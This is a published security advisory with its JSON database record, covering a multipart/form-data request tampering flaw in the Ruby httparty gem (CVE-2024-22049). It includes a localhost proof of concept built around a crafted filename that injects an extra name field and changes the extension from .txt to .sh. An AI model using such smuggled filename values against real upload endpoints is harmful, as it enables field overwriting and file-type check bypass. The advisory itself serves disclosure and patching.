ghsa-5pq7-52mg-hr42
Vulnerability from github
Impact
I found "multipart/form-data request tampering vulnerability" caused by Content-Disposition "filename" lack of escaping in httparty.
httparty/lib/httparty/request > body.rb > def generate_multipart
https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43
By exploiting this problem, the following attacks are possible
- An attack that rewrites the "name" field according to the crafted file name, impersonating (overwriting) another field.
- Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename
For example, this vulnerability can be exploited to generate the following Content-Disposition.
Normal Request example: normal input filename:
abc.txtgenerated normal header in multipart/form-data
Content-Disposition: form-data; name="avatar"; filename="abc.txt"Malicious Request example malicious input filename:
overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txtgenerated malicious header in multipart/form-data:
Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"
The Abused Header has multiple name ( avatar & foo ) fields and the "filename" has been rewritten from *.txt to *.sh .
These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request. I have confirmed that the attack succeeds, at least in the following frameworks
- Spring (Java)
- Ktor (Kotlin)
- Ruby on Rails (Ruby)
The cause of this problem is the lack of escaping of the " (Double-Quote) character in Content-Disposition > filename.
WhatWG's HTML spec has an escaping requirement.
https://html.spec.whatwg.org/#multipart-form-data
For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence
%0A, 0x0D (CR) with%0Dand 0x22 (") with%22. The user agent must not perform any other escapes.
Patches
As noted at the beginning of this section, encoding must be done as described in the HTML Spec.
https://html.spec.whatwg.org/#multipart-form-data
For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence
%0A, 0x0D (CR) with%0Dand 0x22 (") with%22. The user agent must not perform any other escapes.
Therefore, it is recommended that Content-Disposition be modified by either of the following
Before:
Content-Disposition: attachment;filename="malicious.sh";dummy=.txtAfter:
Content-Disposition: attachment;filename="%22malicious.sh%22;dummy=.txt"
https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43
file_name.gsub('"', '%22')
Also, as for \r, \n, URL Encode is not done, but it is not newlines, so it seemed to be OK.
However, since there may be omissions, it is safer to URL encode these as well, if possible.
( \r to %0A and \d to %0D )
PoC
PoC Environment
OS: macOS Monterey(12.3) Ruby ver: ruby 3.1.2p20 httparty ver: 0.20.0 (Python3 - HTTP Request Logging Server)
PoC procedure
(Linux or MacOS is required.
This is because Windows does not allow file names containing " (double-quote) .)
-
Create Project
$ mkdir my-app $ cd my-app $ gem install httparty -
Create malicious file
$ touch 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'
- Generate Vuln code
$ vi example.rb
``` require 'httparty'
filename = 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'
HTTParty.post('http://localhost:12345/', body: { name: 'Foo Bar', email: 'example@email.com', avatar: File.open(filename) } ) ```
- Run Logging Server
I write Python code, but any method will work as long as you can see the HTTP Request Body. (e.g. Debugger, HTTP Logging Server, Packet Capture)
$ vi logging.py ``` from http.server import HTTPServer from http.server import BaseHTTPRequestHandler
class LoggingServer(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.end_headers()
self.wfile.write("ok".encode("utf-8"))
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
ip = '127.0.0.1' port = 12345
server = HTTPServer((ip, port), LoggingServer) server.serve_forever() ```
$ python logging.py
- Run & Logging server
$ run example.rb
Return Request Header & Body:
User-Agent: Ruby Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz Connection: close Host: localhost:12345 Content-Length: 457
--------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="name"
Foo Bar --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="email"
example@email.com --------------------------F857UcxRc2J1zFOz Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt" Content-Type: text/plain
abc --------------------------F857UcxRc2J1zFOz--
Content-Disposition:
Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"
- name fields is duplicate (avator & foo)
- filename & extension tampering ( .txt --> .sh )
References
-
I also include a similar report that I previously reported to Firefox. https://bugzilla.mozilla.org/show_bug.cgi?id=1556711
-
I will post some examples of frameworks that did not have problems as reference.
Golang https://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144
Spring https://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267
Symphony https://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133
For more information
If you have any questions or comments about this advisory: * Email us at kumagoro_alice@yahoo.co.jp
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.20.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "httparty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-22049"
],
"database_specific": {
"cwe_ids": [
"CWE-472"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-03T13:36:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nI found \"multipart/form-data request tampering vulnerability\" caused by Content-Disposition \"filename\" lack of escaping in httparty.\n\n`httparty/lib/httparty/request` \u003e `body.rb` \u003e `def generate_multipart`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\nBy exploiting this problem, the following attacks are possible\n\n* An attack that rewrites the \"name\" field according to the crafted file name, impersonating (overwriting) another field.\n* Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename\n\nFor example, this vulnerability can be exploited to generate the following Content-Disposition.\n\n\u003e Normal Request example:\n\u003e normal input filename: `abc.txt`\n\u003e \n\u003e generated normal header in multipart/form-data\n\u003e `Content-Disposition: form-data; name=\"avatar\"; filename=\"abc.txt\"`\n \n\u003e Malicious Request example\n\u003e malicious input filename: `overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt`\n\u003e \n\u003e generated malicious header in multipart/form-data:\n\u003e `Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"`\n\nThe Abused Header has multiple name ( `avatar` \u0026 `foo` ) fields and the \"filename\" has been rewritten from `*.txt` to `*.sh` .\n\nThese problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.\nI have confirmed that the attack succeeds, at least in the following frameworks\n\n * Spring (Java)\n * Ktor (Kotlin)\n * Ruby on Rails (Ruby)\n\nThe cause of this problem is the lack of escaping of the `\"` (Double-Quote) character in Content-Disposition \u003e filename.\n\nWhatWG\u0027s HTML spec has an escaping requirement.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n\u003e For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\n\n\n### Patches\n\nAs noted at the beginning of this section, encoding must be done as described in the HTML Spec.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n\u003e For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\nTherefore, it is recommended that Content-Disposition be modified by either of the following\n\n\u003e Before:\n\u003e `Content-Disposition: attachment;filename=\"malicious.sh\";dummy=.txt`\n\n\u003e After:\n\u003e `Content-Disposition: attachment;filename=\"%22malicious.sh%22;dummy=.txt\"`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\n```\nfile_name.gsub(\u0027\"\u0027, \u0027%22\u0027)\n```\n\nAlso, as for `\\r`, `\\n`, URL Encode is not done, but it is not newlines, so it seemed to be OK.\nHowever, since there may be omissions, it is safer to URL encode these as well, if possible.\n( `\\r` to `%0A` and `\\d` to `%0D` ) \n\n### PoC\n\n#### PoC Environment\n\nOS: macOS Monterey(12.3)\nRuby ver: ruby 3.1.2p20 \nhttparty ver: 0.20.0\n(Python3 - HTTP Request Logging Server)\n\n### PoC procedure\n\n\n(Linux or MacOS is required. \nThis is because Windows does not allow file names containing `\"` (double-quote) .)\n\n1. Create Project \n```\n$ mkdir my-app\n$ cd my-app\n$ gem install httparty\n```\n\n2. Create malicious file\n\n```\n$ touch \u0027overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\u0027\n```\n\n3. Generate Vuln code\n\n```\n$ vi example.rb\n```\n\n```\nrequire \u0027httparty\u0027\n\nfilename = \u0027overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\u0027\n\nHTTParty.post(\u0027http://localhost:12345/\u0027,\n body: {\n name: \u0027Foo Bar\u0027,\n email: \u0027example@email.com\u0027,\n avatar: File.open(filename)\n }\n)\n```\n\n\n4. Run Logging Server\n\nI write Python code, but any method will work as long as you can see the HTTP Request Body.\n(e.g. Debugger, HTTP Logging Server, Packet Capture) \n\n\n$ vi logging.py\n```\nfrom http.server import HTTPServer\nfrom http.server import BaseHTTPRequestHandler\n\nclass LoggingServer(BaseHTTPRequestHandler):\n\n def do_POST(self):\n self.send_response(200)\n self.end_headers()\n self.wfile.write(\"ok\".encode(\"utf-8\"))\n\n content_length = int(self.headers[\u0027Content-Length\u0027])\n post_data = self.rfile.read(content_length)\n print(\"POST request,\\nPath: %s\\nHeaders:\\n%s\\n\\nBody:\\n%s\\n\",\n str(self.path), str(self.headers), post_data.decode(\u0027utf-8\u0027))\n self.wfile.write(\"POST request for {}\".format(self.path).encode(\u0027utf-8\u0027))\n\nip = \u0027127.0.0.1\u0027\nport = 12345\n\nserver = HTTPServer((ip, port), LoggingServer)\nserver.serve_forever()\n```\n\n$ python logging.py\n\n\n5. Run \u0026 Logging server\n\n```\n$ run example.rb\n```\n\nReturn Request Header \u0026 Body:\n\n\u003e User-Agent: Ruby\n\u003e Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz\n\u003e Connection: close\n\u003e Host: localhost:12345\n\u003e Content-Length: 457\n\u003e \n\u003e --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"name\"\n\u003e \n\u003e Foo Bar\n\u003e --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"email\"\n\u003e \n\u003e example@email.com\n\u003e --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\u003e Content-Type: text/plain\n\u003e \n\u003e abc\n\u003e --------------------------F857UcxRc2J1zFOz--\n\n\nContent-Disposition:\n\u003e Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\n* name fields is duplicate (avator \u0026 foo)\n* filename \u0026 extension tampering ( .txt --\u003e .sh )\n\n\n\n\n### References\n\n1. I also include a similar report that I previously reported to Firefox.\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1556711\n\n\n2. I will post some examples of frameworks that did not have problems as reference.\n\nGolang\nhttps://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144\n\nSpring\nhttps://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267\n\nSymphony\nhttps://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [kumagoro_alice@yahoo.co.jp](mailto:kumagoro_alice@yahoo.co.jp)\n",
"id": "GHSA-5pq7-52mg-hr42",
"modified": "2024-01-05T15:32:51Z",
"published": "2023-01-03T13:36:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22049"
},
{
"type": "WEB",
"url": "https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e"
},
{
"type": "PACKAGE",
"url": "https://github.com/jnunemaker/httparty"
},
{
"type": "WEB",
"url": "https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2024-22049.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "httparty has multipart/form-data request tampering vulnerability"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.